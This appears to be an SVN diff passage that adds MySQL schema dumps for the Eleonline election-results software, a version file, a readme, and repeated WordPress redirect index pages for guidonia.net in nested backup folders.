+DROP TABLE IF EXISTS `soraldo_ele_servizi`;
+CREATE TABLE `soraldo_ele_servizi` (
+  `id_cons` int(11) NOT NULL default '0',
+  `mid` int(7) NOT NULL auto_increment,
+  `title` varchar(150) NOT NULL default '',
+  `preamble` text NOT NULL,
+  `content` text NOT NULL,
+  `editimage` varchar(100) NOT NULL default '',
+  PRIMARY KEY  (`mid`),
+  KEY `id_cons` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_servizi`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_servizi` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_servizi` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_servizi` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_sezioni`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_sezioni`;
+CREATE TABLE `soraldo_ele_sezioni` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL auto_increment,
+  `id_sede` int(11) NOT NULL default '0',
+  `num_sez` int(7) NOT NULL default '0',
+  `maschi` int(4) default NULL,
+  `femmine` int(4) default NULL,
+  `validi` int(7) NOT NULL default '0',
+  `nulli` int(7) NOT NULL default '0',
+  `bianchi` int(7) NOT NULL default '0',
+  `contestati` int(7) NOT NULL default '0',
+  `solo_gruppo` int(7) NOT NULL default '0',
+  `autorizzati_m` int(4) NOT NULL default '0',
+  `autorizzati_f` int(4) NOT NULL default '0',
+  `voti_nulli` int(7) NOT NULL default '0',
+  `validi_lista` int(7) NOT NULL default '0',
+  `contestati_lista` int(7) NOT NULL default '0',
+  `voti_nulli_lista` int(7) NOT NULL default '0',
+  UNIQUE KEY `id_sezi` (`id_sez`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_sede` (`id_sede`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_sezioni`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_sezioni` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_sezioni` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_sezioni` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_temi`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_temi`;
+CREATE TABLE `soraldo_ele_temi` (
+  `tema` varchar(20) NOT NULL
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_temi`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_temi` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_temi` WRITE;
+INSERT INTO `soraldo_ele_temi` VALUES ('default'),('altro'),('blog'),('stylized'),('tour'),('yellowblu'),('facebook');
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_temi` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_tipo`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_tipo`;
+CREATE TABLE `soraldo_ele_tipo` (
+  `tipo_cons` int(11) NOT NULL default '0',
+  `descrizione` varchar(30) default NULL,
+  `lingua` varchar(2) NOT NULL default '0',
+  `genere` tinyint(4) NOT NULL default '0',
+  `voto_g` enum('0','1') NOT NULL default '0',
+  `voto_l` enum('0','1') NOT NULL default '0',
+  `voto_c` enum('0','1') NOT NULL default '0',
+  `circo` enum('0','1') NOT NULL default '0',
+  PRIMARY KEY  (`tipo_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_tipo`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_tipo` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_tipo` WRITE;
+INSERT INTO `soraldo_ele_tipo` VALUES (1,'PROVINCIALI','it',3,'0','0','0','0'),(2,'REFERENDUM','it',0,'0','0','0','0'),(3,'COMUNALI','it',5,'0','0','0','0'),(4,'CIRCOSCRIZIONALI','it',5,'0','0','0','1'),(5,'BALLOTTAGGIO COMUNALI','it',1,'0','0','0','0'),(6,'CAMERA','it',2,'0','0','0','0'),(7,'SENATO','it',2,'0','0','0','0'),(8,'EUROPEE','it',4,'0','0','0','0'),(9,'REGIONALI','it',5,'0','0','0','0'),(10,'SENATO CON GRUPPI','it',5,'1','0','1','0'),(11,'CAMERA CON GRUPPI','it',5,'1','0','1','0'),(12,'PROVINCIALI CON COLLEGI','it',3,'0','0','0','1'),(13,'BALLOTTAGGIO PROVINCIALI','it',1,'0','0','0','0'),(14,'EUROPEE CON COLLEGI','it',4,'0','0','0','1'),(15,'CAMERA CON GRUPPI E COLLEGI','it',5,'1','0','1','1'),(16,'SENATO CON GRUPPI E COLLEGI','it',5,'1','0','1','1'),(17,'REGIONALI CON COLLEGI','it',5,'0','0','0','1');
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_tipo` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_voti_candidati`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_voti_candidati`;
+CREATE TABLE `soraldo_ele_voti_candidati` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_cand` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `voti` int(7) NOT NULL default '0',
+  KEY `id_sez` (`id_sez`),
+  KEY `id_cand` (`id_cand`),
+  KEY `id_cons` (`id_cons`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_voti_candidati`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_voti_candidati` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_voti_candidati` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_voti_candidati` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_voti_gruppo`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_voti_gruppo`;
+CREATE TABLE `soraldo_ele_voti_gruppo` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `voti` int(7) NOT NULL default '0',
+  KEY `id_cons` (`id_cons`),
+  KEY `id_gruppo` (`id_gruppo`),
+  KEY `id_sez` (`id_sez`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_voti_gruppo`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_voti_gruppo` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_voti_gruppo` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_voti_gruppo` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_voti_lista`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_voti_lista`;
+CREATE TABLE `soraldo_ele_voti_lista` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_lista` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `voti` int(7) NOT NULL default '0',
+  KEY `cons` (`id_cons`),
+  KEY `id_lista` (`id_lista`),
+  KEY `id_sez` (`id_sez`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_voti_lista`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_voti_lista` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_voti_lista` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_voti_lista` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_voti_parziale`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_voti_parziale`;
+CREATE TABLE `soraldo_ele_voti_parziale` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `id_parz` int(11) NOT NULL auto_increment,
+  `orario` time NOT NULL default '00:00:00',
+  `data` date NOT NULL default '0000-00-00',
+  `voti_uomini` int(7) NOT NULL default '0',
+  `voti_donne` int(7) NOT NULL default '0',
+  `voti_complessivi` int(7) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL default '0',
+  PRIMARY KEY  (`id_parz`),
+  KEY `id_cons` (`id_cons`),
+  KEY `id_sez` (`id_sez`),
+  KEY `id_gruppo` (`id_gruppo`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_voti_parziale`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_voti_parziale` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_voti_parziale` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_voti_parziale` ENABLE KEYS */;
+
+--
+-- Table structure for table `soraldo_ele_voti_ref`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_voti_ref`;
+CREATE TABLE `soraldo_ele_voti_ref` (
+  `id_cons` int(11) NOT NULL default '0',
+  `id_gruppo` int(11) NOT NULL default '0',
+  `id_sez` int(11) NOT NULL default '0',
+  `si` int(7) default '0',
+  `no` int(7) default '0',
+  `validi` int(7) default '0',
+  `nulli` int(7) default '0',
+  `bianchi` int(7) default '0',
+  `contestati` int(7) default '0',
+  KEY `id_cons` (`id_cons`),
+  KEY `id_gruppo` (`id_gruppo`),
+  KEY `id_sez` (`id_sez`)
+) ENGINE=MyISAM DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_voti_ref`
+--
+
+
+/*!40000 ALTER TABLE `soraldo_ele_voti_ref` DISABLE KEYS */;
+LOCK TABLES `soraldo_ele_voti_ref` WRITE;
+UNLOCK TABLES;
+/*!40000 ALTER TABLE `soraldo_ele_voti_ref` ENABLE KEYS */;
+/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
+
+/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
+/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
+/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
+/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
+/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
+/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
+/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
+
Index: /trunk/elezioni/trunk/install/version.php
===================================================================
--- /trunk/elezioni/trunk/install/version.php	(revision 44)
+++ /trunk/elezioni/trunk/install/version.php	(revision 44)
@@ -0,0 +1,8 @@
+<?php
+
+
+
+$version_number = "2.0 beta";
+$version = "Eleonline $version_number(Data Release: 5 giugno 2009)";
+
+?>
Index: /trunk/elezioni/trunk/readme.txt
===================================================================
--- /trunk/elezioni/trunk/readme.txt	(revision 44)
+++ /trunk/elezioni/trunk/readme.txt	(revision 44)
@@ -0,0 +1,4 @@
+Corregge vari bug emersi durante le ultime consultazioni elettorali.
+Implementa la gestione di comuni suddivisi in piu' collegi per consultazioni regionali, europee, senato, camera.
+
+ottobre 2009 -- Inizia la gestione delle versioni con svn e trac
Index: /trunk/elezioni/trunk/widget.sql
===================================================================
--- /trunk/elezioni/trunk/widget.sql	(revision 44)
+++ /trunk/elezioni/trunk/widget.sql	(revision 44)
@@ -0,0 +1,52 @@
+-- MySQL dump 10.11
+--
+-- Host: localhost    Database: eleonline
+-- ------------------------------------------------------
+-- Server version	5.0.45-log
+
+/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;
+/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;
+/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;
+/*!40101 SET NAMES utf8 */;
+/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;
+/*!40103 SET TIME_ZONE='+00:00' */;
+/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;
+/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */;
+/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */;
+/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
+
+--
+-- Table structure for table `soraldo_ele_widget`
+--
+
+DROP TABLE IF EXISTS `soraldo_ele_widget`;
+CREATE TABLE `soraldo_ele_widget` (
+  `id` int(10) NOT NULL auto_increment,
+  `nome_file` varchar(255) NOT NULL default '',
+  `titolo` varchar(255) NOT NULL default '',
+  `pos_or` int(1) NOT NULL default '1',
+  `pos_ver` int(3) NOT NULL default '0',
+  `attivo` int(1) NOT NULL default '0',
+  PRIMARY KEY  (`id`)
+) ENGINE=MyISAM AUTO_INCREMENT=13 DEFAULT CHARSET=latin1;
+
+--
+-- Dumping data for table `soraldo_ele_widget`
+--
+
+LOCK TABLES `soraldo_ele_widget` WRITE;
+/*!40000 ALTER TABLE `soraldo_ele_widget` DISABLE KEYS */;
+INSERT INTO `soraldo_ele_widget` VALUES (1,'00_affluenze.php','00_affluenze.php',0,0,1),(2,'01_votanti.php','01_votanti.php',1,0,0),(3,'02_risultati.php','02_risultati.php',0,0,1),(4,'04_sezioni.php','04_sezioni.php',1,0,0),(5,'bar_affluenze.php','bar_affluenze.php',1,0,0),(6,'bloccocand.php','bloccocand.php',1,0,0),(7,'bloccogen.php','bloccogen.php',1,0,0),(8,'bloccolink.php','bloccolink.php',1,0,0),(9,'bloccoref.php','bloccoref.php',1,0,0),(10,'gom_affluenze.php','gom_affluenze.php',0,0,1),(11,'off_Votanti.php','off_Votanti.php',0,0,1),(12,'pie_affluenze.php','pie_affluenze.php',1,0,0);
+/*!40000 ALTER TABLE `soraldo_ele_widget` ENABLE KEYS */;
+UNLOCK TABLES;
+/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
+
+/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;
+/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;
+/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;
+/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;
+/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;
+/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;
+/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;
+
+-- Dump completed on 2010-03-22 13:20:41
Index: /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php
===================================================================
--- /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
+++ /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+echo '
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="it-IT">
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>Guidonia Punto Net (news e altro su Guidonia Montecelio)</title>
+   
+    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) RSS Feed" href="http://www.guidonia.net/wp/?feed=rss2" />
+    <link rel="pingback" href="http://www.guidonia.net/wp/xmlrpc.php" />
+    
+ 
+	    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) &raquo; About Feed dei commenti" href="http://www.guidonia.net/wp/?feed=rss2&amp;page_id=2" />
+	
+<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.guidonia.net/wp/xmlrpc.php?rsd" />
+<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml" /> 
+<link rel=\'index\' title=\'Guidonia Punto Net (in progress)\' href=\'http://www.guidonia.net/wp\' />
+<meta name="generator" content="WordPress 2.8" />
+
+<!-- all in one seo pack 1.5.7 [313,367] -->
+<meta name="description" content="Questo sito Ãš progressiva realizzazione Chi volesse contribuire alla costruzione di un sito su Guidonia puo\' contattare l\'email: info@guidonia.net oppure" />
+<meta name="keywords" content="guidonia" />
+<link rel="canonical" href="http://www.guidonia.net/wp/?page_id=2" />
+<!-- /all in one seo pack -->
+<link rel="stylesheet" href="http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css" type="text/css" />
+';
+echo "Guidonia Montecelio";
+header("location: wp/index.php");
+
+?>
Index: /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php
===================================================================
--- /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
+++ /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+echo '
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="it-IT">
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>Guidonia Punto Net (news e altro su Guidonia Montecelio)</title>
+   
+    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) RSS Feed" href="http://www.guidonia.net/wp/?feed=rss2" />
+    <link rel="pingback" href="http://www.guidonia.net/wp/xmlrpc.php" />
+    
+ 
+	    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) &raquo; About Feed dei commenti" href="http://www.guidonia.net/wp/?feed=rss2&amp;page_id=2" />
+	
+<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.guidonia.net/wp/xmlrpc.php?rsd" />
+<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml" /> 
+<link rel=\'index\' title=\'Guidonia Punto Net (in progress)\' href=\'http://www.guidonia.net/wp\' />
+<meta name="generator" content="WordPress 2.8" />
+
+<!-- all in one seo pack 1.5.7 [313,367] -->
+<meta name="description" content="Questo sito Ãš progressiva realizzazione Chi volesse contribuire alla costruzione di un sito su Guidonia puo\' contattare l\'email: info@guidonia.net oppure" />
+<meta name="keywords" content="guidonia" />
+<link rel="canonical" href="http://www.guidonia.net/wp/?page_id=2" />
+<!-- /all in one seo pack -->
+<link rel="stylesheet" href="http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css" type="text/css" />
+';
+echo "Guidonia Montecelio";
+header("location: wp/index.php");
+
+?>
Index: /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php
===================================================================
--- /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
+++ /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+echo '
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="it-IT">
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>Guidonia Punto Net (news e altro su Guidonia Montecelio)</title>
+   
+    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) RSS Feed" href="http://www.guidonia.net/wp/?feed=rss2" />
+    <link rel="pingback" href="http://www.guidonia.net/wp/xmlrpc.php" />
+    
+ 
+	    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) &raquo; About Feed dei commenti" href="http://www.guidonia.net/wp/?feed=rss2&amp;page_id=2" />
+	
+<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.guidonia.net/wp/xmlrpc.php?rsd" />
+<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml" /> 
+<link rel=\'index\' title=\'Guidonia Punto Net (in progress)\' href=\'http://www.guidonia.net/wp\' />
+<meta name="generator" content="WordPress 2.8" />
+
+<!-- all in one seo pack 1.5.7 [313,367] -->
+<meta name="description" content="Questo sito Ãš progressiva realizzazione Chi volesse contribuire alla costruzione di un sito su Guidonia puo\' contattare l\'email: info@guidonia.net oppure" />
+<meta name="keywords" content="guidonia" />
+<link rel="canonical" href="http://www.guidonia.net/wp/?page_id=2" />
+<!-- /all in one seo pack -->
+<link rel="stylesheet" href="http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css" type="text/css" />
+';
+echo "Guidonia Montecelio";
+header("location: wp/index.php");
+
+?>
Index: /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php
===================================================================
--- /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
+++ /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+echo '
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="it-IT">
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>Guidonia Punto Net (news e altro su Guidonia Montecelio)</title>
+   
+    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) RSS Feed" href="http://www.guidonia.net/wp/?feed=rss2" />
+    <link rel="pingback" href="http://www.guidonia.net/wp/xmlrpc.php" />
+    
+ 
+	    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) &raquo; About Feed dei commenti" href="http://www.guidonia.net/wp/?feed=rss2&amp;page_id=2" />
+	
+<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.guidonia.net/wp/xmlrpc.php?rsd" />
+<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml" /> 
+<link rel=\'index\' title=\'Guidonia Punto Net (in progress)\' href=\'http://www.guidonia.net/wp\' />
+<meta name="generator" content="WordPress 2.8" />
+
+<!-- all in one seo pack 1.5.7 [313,367] -->
+<meta name="description" content="Questo sito Ãš progressiva realizzazione Chi volesse contribuire alla costruzione di un sito su Guidonia puo\' contattare l\'email: info@guidonia.net oppure" />
+<meta name="keywords" content="guidonia" />
+<link rel="canonical" href="http://www.guidonia.net/wp/?page_id=2" />
+<!-- /all in one seo pack -->
+<link rel="stylesheet" href="http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css" type="text/css" />
+';
+echo "Guidonia Montecelio";
+header("location: wp/index.php");
+
+?>
Index: /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php
===================================================================
--- /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
+++ /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+echo '
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="it-IT">
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>Guidonia Punto Net (news e altro su Guidonia Montecelio)</title>
+   
+    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) RSS Feed" href="http://www.guidonia.net/wp/?feed=rss2" />
+    <link rel="pingback" href="http://www.guidonia.net/wp/xmlrpc.php" />
+    
+ 
+	    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) &raquo; About Feed dei commenti" href="http://www.guidonia.net/wp/?feed=rss2&amp;page_id=2" />
+	
+<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.guidonia.net/wp/xmlrpc.php?rsd" />
+<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml" /> 
+<link rel=\'index\' title=\'Guidonia Punto Net (in progress)\' href=\'http://www.guidonia.net/wp\' />
+<meta name="generator" content="WordPress 2.8" />
+
+<!-- all in one seo pack 1.5.7 [313,367] -->
+<meta name="description" content="Questo sito Ãš progressiva realizzazione Chi volesse contribuire alla costruzione di un sito su Guidonia puo\' contattare l\'email: info@guidonia.net oppure" />
+<meta name="keywords" content="guidonia" />
+<link rel="canonical" href="http://www.guidonia.net/wp/?page_id=2" />
+<!-- /all in one seo pack -->
+<link rel="stylesheet" href="http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css" type="text/css" />
+';
+echo "Guidonia Montecelio";
+header("location: wp/index.php");
+
+?>
Index: /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php
===================================================================
--- /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
